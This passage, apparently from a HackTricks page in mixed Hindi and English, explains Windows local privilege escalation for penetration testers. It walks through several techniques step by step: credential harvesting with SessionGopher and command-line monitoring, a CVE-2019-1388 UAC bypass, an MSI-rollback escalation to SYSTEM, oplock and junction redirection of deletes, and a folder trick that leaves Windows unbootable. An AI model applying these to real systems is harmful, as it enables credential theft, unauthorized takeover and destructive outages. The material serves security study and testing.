Winpeas स्वचालित रूप से इस पृष्ठ में उल्लिखित उन सभी फ़ाइलों को खोजता है जिनमें passwords होते हैं।
Lazagne एक और बढ़िया tool है जो system से password निकालने के लिए उपयोग होता है।

यह tool SessionGopher कई tools के sessions, usernames और passwords खोजता है जो यह डेटा clear text में सेव करते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

कल्पना करें कि a process running as SYSTEM open a new process (OpenProcess()) with full access। वही प्रोसेस also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process
अगर आपके पास full access to the low privileged process है, तो आप OpenProcess() से बनाए गए privileged process के open handle को पकड़कर उस पर inject a shellcode कर सकते हैं।
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Shared memory segments, जिन्हें pipes कहा जाता है, process communication और data transfer सक्षम करते हैं।

Windows में Named Pipes नाम की एक सुविधा है, जो unrelated processes को data share करने की अनुमति देती है, यहां तक कि अलग networks पर भी। यह client/server architecture जैसा होता है, जिसमें भूमिकाएँ named pipe server और named pipe client के रूप में परिभाषित होती हैं।

जब कोई client pipe के माध्यम से data भेजता है, तो pipe सेट करने वाला server आवश्यक SeImpersonate rights होने पर उस client की पहचान अपनाने में सक्षम होता है। किसी ऐसे privileged process की पहचान करना जो आपके बनाए pipe के माध्यम से communicate करता हो और जिसकी आप नकल कर सकें, आपको मौका देता है कि उस प्रक्रिया की पहचान अपनाकर gain higher privileges किया जाए जब वह आपके स्थापित pipe के साथ interact करे। इस तरह के attack को execute करने के निर्देशों के लिए उपयोगी guides here और here पर मिलते हैं।

Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer

Misc

File Extensions that could execute stuff in Windows

इस पेज को देखें https://filesec.io/

Monitoring Command Lines for passwords

जब user के रूप में shell मिलता है, तो हो सकता है कि scheduled tasks या अन्य processes execute हो रहे हों जो pass credentials on the command line। नीचे दिया गया script हर दो सेकंड में process command lines को capture करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, और किसी भी अंतर को output करता है।

bash
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

प्रक्रियाओं से पासवर्ड चुराना

Low Priv User से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

यदि आपके पास graphical interface (via console or RDP) तक पहुँच है और UAC सक्षम है, तो कुछ Microsoft Windows वर्ज़नों में unprivileged user से भी terminal या कोई अन्य process जैसे "NT\AUTHORITY SYSTEM" चलाना संभव होता है।

इससे एक ही vulnerability के जरिए privileges escalate करना और UAC bypass करना दोनों एक साथ संभव हो जाता है। अतिरिक्त रूप से, किसी भी चीज़ को install करने की ज़रूरत नहीं होती और प्रक्रिया के दौरान जो binary उपयोग किया जाता है, वह Microsoft द्वारा signed और जारी किया गया होता है।

प्रभावित सिस्टमों में कुछ निम्नलिखित हैं:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

इस vulnerability को exploit करने के लिए, निम्नलिखित कदम उठाना आवश्यक है:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

यह हमला मूल रूप से Windows Installer के rollback फीचर का दुरुपयोग करके uninstall प्रक्रिया के दौरान वैध फ़ाइलों को malicious फ़ाइलों से बदलने पर आधारित है। इसके लिए attacker को एक malicious MSI installer बनाना होता है जो C:\Config.Msi फ़ोल्डर को hijack करने के लिए इस्तेमाल होगा, जिसे बाद में Windows Installer rollback files को store करने के लिए उपयोग करता है — uninstall के दौरान rollback files को बदल कर उनमें malicious payload डाली जाएगी।

संक्षेप में तकनीक निम्नानुसार है:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)
  • Step 1: Install the MSI

  • एक .msi बनाएं जो writable फ़ोल्डर (TARGETDIR) में एक harmless फ़ाइल (जैसे dummy.txt) install करे।

  • installer को "UAC Compliant" के रूप में मार्क करें, ताकि एक non-admin user इसे चला सके।

  • install के बाद फ़ाइल पर एक handle खुला रखें।

  • Step 2: Begin Uninstall

  • वही .msi uninstall करें।

  • uninstall प्रक्रिया फाइलों को C:\Config.Msi में स्थानांतरित करना और उन्हें .rbf नाम से rename करना शुरू कर देती है (rollback backups)।

  • फ़ाइल के C:\Config.Msi\<random>.rbf बनने का पता लगाने के लिए GetFinalPathNameByHandle का उपयोग करके open file handle को poll करें।

  • Step 3: Custom Syncing

  • .msi में एक custom uninstall action (SyncOnRbfWritten) शामिल है जो:

  • उस समय signal करता है जब .rbf लिखा गया हो।

  • फिर uninstall को जारी रखने से पहले किसी अन्य event पर wait करता है।

  • Step 4: Block Deletion of .rbf

  • जब signal मिल जाए, तो .rbf फ़ाइल को FILE_SHARE_DELETE के बिना खोलें — इससे वह delete होने से रोकती है

  • फिर uninstall को खत्म करने के लिए वापस signal करें।

  • Windows Installer .rbf को delete नहीं कर पाता, और चूँकि यह सब contents delete नहीं कर सकता, C:\Config.Msi remove नहीं होता

  • Step 5: Manually Delete .rbf

  • आप (attacker) .rbf फ़ाइल को मैन्युअली delete कर देते हैं।

  • अब C:\Config.Msi खाली है, hijack के लिए तैयार है।

इस बिंदु पर, C:\Config.Msi को delete करने के लिए SYSTEM-level arbitrary folder delete vulnerability को trigger करें।

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • स्वयं C:\Config.Msi फ़ोल्डर फिर से बनाएं।

  • weak DACLs सेट करें (उदा., Everyone:F), और WRITE_DAC के साथ एक handle खुला रखें।

  • Step 7: Run Another Install

  • .msi को फिर से install करें, जिसमें:

  • TARGETDIR: Writable location।

  • ERROROUT: एक variable जो forced failure ट्रिगर करे।

  • यह install फिर से rollback ट्रिगर करने के लिए इस्तेमाल होगा, जो .rbs और .rbf पढ़ता है।

  • Step 8: Monitor for .rbs

  • ReadDirectoryChangesW का उपयोग करके C:\Config.Msi की निगरानी करें जब तक एक नया .rbs नहीं आ जाता।

  • उसका filename कैप्चर करें।

  • Step 9: Sync Before Rollback

  • .msi में एक custom install action (SyncBeforeRollback) है जो:

  • जब .rbs बनाया जाता है तो एक event को signal करता है।

  • फिर जारी रखने से पहले wait करता है।

  • Step 10: Reapply Weak ACL

  • .rbs created event मिलने के बाद:

  • Windows Installer C:\Config.Msi पर strong ACLs फिर से लागू करता है।

  • लेकिन चूँकि आपके पास अभी भी WRITE_DAC के साथ एक handle खुला है, आप फिर से weak ACLs लागू कर सकते हैं।

ACLs केवल handle open पर लागू होते हैं, इसलिए आप अभी भी फ़ोल्डर में लिख सकते हैं।

  • Step 11: Drop Fake .rbs and .rbf

  • .rbs फ़ाइल को एक fake rollback script से overwrite करें जो Windows को बताता है कि:

  • आपकी .rbf फ़ाइल (malicious DLL) को एक privileged location में restore करे (उदा., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)।

  • आपकी fake .rbf गिराएँ जिसमें एक malicious SYSTEM-level payload DLL हो।

  • Step 12: Trigger the Rollback

  • sync event को signal करें ताकि installer resume हो जाए।

  • एक type 19 custom action (ErrorOut) को configure किया गया है ताकि install को जानबूझकर एक ज्ञात पॉइंट पर fail कराया जा सके।

  • इससे rollback शुरू हो जाता है

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • आपकी malicious .rbs पढ़ता है।

  • आपकी .rbf DLL को target location में copy कर देता है।

  • अब आपकी malicious DLL एक SYSTEM-loaded path में मौजूद है

  • Final Step: Execute SYSTEM Code

  • एक trusted auto-elevated binary (उदा., osk.exe) चलाएँ जो आपके hijacked DLL को load करे।

  • Boom: आपका कोड SYSTEM के रूप में execute होता है।

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

मुख्य MSI rollback तकनीक (पिछली वाली) यह मानती है कि आप एक पूरे फ़ोल्डर (उदा., C:\Config.Msi) को delete कर सकते हैं। लेकिन अगर आपकी vulnerability केवल arbitrary file deletion ही अनुमति देती है तो क्या होगा?

आप NTFS internals का दुरुपयोग कर सकते हैं: हर फ़ोल्डर के पास एक छिपा alternate data stream होता है जिसे कहा जाता है:

C:\SomeFolder::$INDEX_ALLOCATION

यह स्ट्रीम फ़ोल्डर का इंडेक्स मेटाडेटा स्टोर करती है।

इसलिए, अगर आप किसी फ़ोल्डर की ::$INDEX_ALLOCATION स्ट्रीम को हटाते हैं, तो NTFS फाइल सिस्टम से पूरे फ़ोल्डर को हटा देता है

आप यह मानक फ़ाइल हटाने वाली APIs का उपयोग करके कर सकते हैं, जैसे:

c
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

हालाँकि आप एक file delete API को कॉल कर रहे हैं, यह फ़ोल्डर स्वयं ही डिलीट कर देता है

फ़ोल्डर की सामग्री को हटाने से SYSTEM EoP तक

क्या होगा अगर आपका primitive आपको arbitrary files/folders हटाने की अनुमति नहीं देता, लेकिन यह attacker-controlled फ़ोल्डर की contents को हटाने की अनुमति देता है?

  1. Step 1: एक चारा फ़ोल्डर और फ़ाइल सेटअप करें
  • Create: C:\temp\folder1
  • Inside it: C:\temp\folder1\file1.txt
  1. Step 2: file1.txt पर एक oplock लगाएँ
  • oplock तब निष्पादन को रोक देता है जब कोई विशेषाधिकार प्राप्त प्रक्रिया file1.txt को डिलीट करने की कोशिश करती है।
c
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. चरण 3: SYSTEM प्रक्रिया ट्रिगर करें (उदा., SilentCleanup)
  • यह प्रक्रिया फ़ोल्डरों को स्कैन करती है (उदा., %TEMP%) और उनकी सामग्री हटाने की कोशिश करती है।
  • जब यह file1.txt तक पहुँचता है, तो oplock triggers और आपका callback नियंत्रण संभाल लेता है।
  1. चरण 4: oplock callback के अंदर – हटाने को रीडायरेक्ट करें
  • विकल्प A: file1.txt को कहीं और स्थानांतरित करें

  • यह oplock को तोड़े बिना folder1 को खाली कर देता है।

  • file1.txt को सीधे हटाएँ नहीं — इससे oplock समयपूर्व रूप से रिलीज़ हो जाएगा।

  • विकल्प B: folder1 को junction में कन्वर्ट करें:

bash
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • विकल्प C: symlink \RPC Control में बनाएं:
bash
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

यह NTFS internal stream को लक्षित करता है जो फ़ोल्डर का metadata संग्रहीत करता है — इसे डिलीट करने पर फ़ोल्डर डिलीट हो जाता है।

  1. Step 5: Release the oplock
  • SYSTEM process जारी रहता है और file1.txt को हटाने की कोशिश करता है।
  • लेकिन अब, junction + symlink के कारण, यह वास्तव में निम्न को डिलीट कर रहा है:
C:\Config.Msi::$INDEX_ALLOCATION

परिणाम: C:\Config.Msi को SYSTEM द्वारा हटाया जाता है।

Arbitrary Folder Create से Permanent DoS तक

ऐसी primitive का फायदा उठाएँ जो आपको create an arbitrary folder as SYSTEM/admin करने देता है — भले ही आप फाइलें लिख न सकें या set weak permissions नहीं कर सकें।

ऐसा folder (not a file) बनाएँ जिसका नाम एक critical Windows driver हो, उदाहरण के लिए:

C:\Windows\System32\cng.sys
  • यह पथ सामान्यतः cng.sys kernel-mode ड्राइवर को संदर्भित करता है।
  • यदि आप इसे पहले से एक फ़ोल्डर के रूप में बना देते हैं, तो Windows बूट पर वास्तविक ड्राइवर को लोड करने में असफल रहता है।
  • फिर, Windows बूट के दौरान cng.sys लोड करने की कोशिश करता है।
  • यह फ़ोल्डर देखता है, वास्तविक ड्राइवर का समाधान करने में असफल रहता है, और क्रैश हो जाता है या बूट रुक जाता है
  • वहाँ कोई fallback नहीं है, और कोई recovery नहीं बिना बाहरी हस्तक्षेप (उदा., boot repair or disk access) के।

High Integrity से SYSTEM तक

नया service

यदि आप पहले से ही एक High Integrity process पर चल रहे हैं, तो SYSTEM तक का path केवल नया service बनाकर और उसे चलाकर आसान हो सकता है:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

tip

जब आप service binary बना रहे हों तो सुनिश्चित करें कि यह एक valid service है या कि binary आवश्यक क्रियाएँ तेजी से करता हो क्योंकि अगर यह valid service नहीं है तो इसे 20s में बंद कर दिया जाएगा।

AlwaysInstallElevated

High Integrity process से आप AlwaysInstallElevated registry entries को enable करने और .msi wrapper का उपयोग करके एक reverse shell install करने की कोशिश कर सकते हैं।
यहाँ involved registry keys और .msi package को install करने के बारे में अधिक जानकारी।

High + SeImpersonate privilege to System

आप यहाँ कोड पा सकते हैं.

From SeDebug + SeImpersonate to Full Token privileges

यदि आपके पास वे token privileges हैं (संभावना है कि आप इसे पहले से ही High Integrity process में पाएंगे), तो आप SeDebug privilege के साथ लगभग किसी भी process (protected processes को छोड़कर) को खोल पाएंगे, उस process का token copy कर पाएंगे, और उस token के साथ एक arbitrary process create कर पाएंगे।
इस technique का उपयोग आम तौर पर SYSTEM के रूप में चल रहे किसी भी process को चुना जाता है जिसके पास सभी token privileges हों (हाँ, आप SYSTEM processes पा सकते हैं जिनके पास सभी token privileges नहीं होते)।
आप एक example of code executing the proposed technique here.

Named Pipes

यह technique meterpreter द्वारा getsystem में escalate करने के लिए उपयोग की जाती है। यह technique pipe बनाकर और फिर उस pipe पर लिखने के लिए किसी service को create/abuse करने से मिलकर बनी है। फिर, उस pipe को बनाया हुआ server जो SeImpersonate privilege का उपयोग करता है, pipe client (service) के token को impersonate कर सकेगा और SYSTEM privileges प्राप्त कर लेगा।
अगर आप name pipes के बारे में और जानना चाहते हैं तो यह पढ़ें
अगर आप एक उदाहरण पढ़ना चाहते हैं कि कैसे name pipes का उपयोग करके high integrity से System तक जाएँ

Dll Hijacking

यदि आप किसी SYSTEM के रूप में चल रहे process द्वारा load की जा रही किसी dll को hijack करने में सफल हो जाते हैं तो आप उन permissions के साथ arbitrary code execute कर पाएँगे। इसलिए Dll Hijacking इस प्रकार के privilege escalation के लिए भी उपयोगी है, और साथ ही इसे high integrity process से हासिल करना कहीं अधिक आसान है क्योंकि उसके पास dlls को load करने के लिए उपयोग किए जाने वाले folders पर write permissions होंगी।
आप यहाँ Dll hijacking के बारे में और जान सकते हैं.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

पढ़ें: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Windows local privilege escalation vectors खोजने के लिए सबसे अच्छा टूल: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Misconfigurations और संवेदनशील फ़ाइलों की जांच करें (check here). पता चला।
JAWS -- कुछ संभावित misconfigurations की जांच करें और जानकारी इकट्ठा करें (check here).
privesc -- Misconfigurations की जांच करें
SessionGopher -- यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP saved session जानकारी निकालता है। लोकल में -Thorough का उपयोग करें।
Invoke-WCMDump -- Credential Manager से credentials निकालता है। पता चला।
DomainPasswordSpray -- एकत्र किए गए passwords को डोमेन पर spray करता है
Inveigh -- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer और man-in-the-middle टूल है।
WindowsEnum -- बेसिक privesc Windows enumeration
Sherlock ~~~~ -- ज्ञात privesc कमजोरियों के लिए खोज (DEPRECATED for Watson)
WINspect -- लोकल चेक्स (Admin rights की आवश्यकता)

Exe

Watson -- ज्ञात privesc कमजोरियों के लिए खोज (VisualStudio का उपयोग करके compile करने की आवश्यकता) (precompiled)
SeatBelt -- होस्ट का enumeration करता है और misconfigurations खोजता है (ज़्यादा एक gather info टूल है न कि privesc) (compile करने की आवश्यकता) (precompiled)
LaZagne -- कई सॉफ़्टवेयर से credentials निकालता है (github पर precompiled exe)
SharpUP -- PowerUp का C# पोर्ट
Beroot ~~~~ -- Misconfiguration की जांच (executable github पर precompiled). अनुशंसित नहीं। यह Win10 में अच्छी तरह काम नहीं करता।
Windows-Privesc-Check -- संभावित misconfigurations की जांच (python से exe). अनुशंसित नहीं। यह Win10 में अच्छी तरह काम नहीं करता।

Bat

winPEASbat -- इस पोस्ट पर आधारित बनाया गया टूल (यह accesschk के बिना ठीक से काम करने के लिए accesschk की आवश्यकता नहीं है पर यह इसका उपयोग कर सकता है).

Local

Windows-Exploit-Suggester -- systeminfo के आउटपुट को पढ़ता है और काम करने वाले exploits की सिफारिश करता है (लोकल python)
Windows Exploit Suggester Next Generation -- systeminfo के आउटपुट को पढ़ता है और काम करने वाले exploits की सिफारिश करता है (लोकल python)

Meterpreter

multi/recon/local_exploit_suggestor

आपको प्रोजेक्ट को सही .NET संस्करण का उपयोग करके compile करना होगा (see this). लक्षित होस्ट पर इंस्टॉल .NET संस्करण देखने के लिए आप कर सकते हैं:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें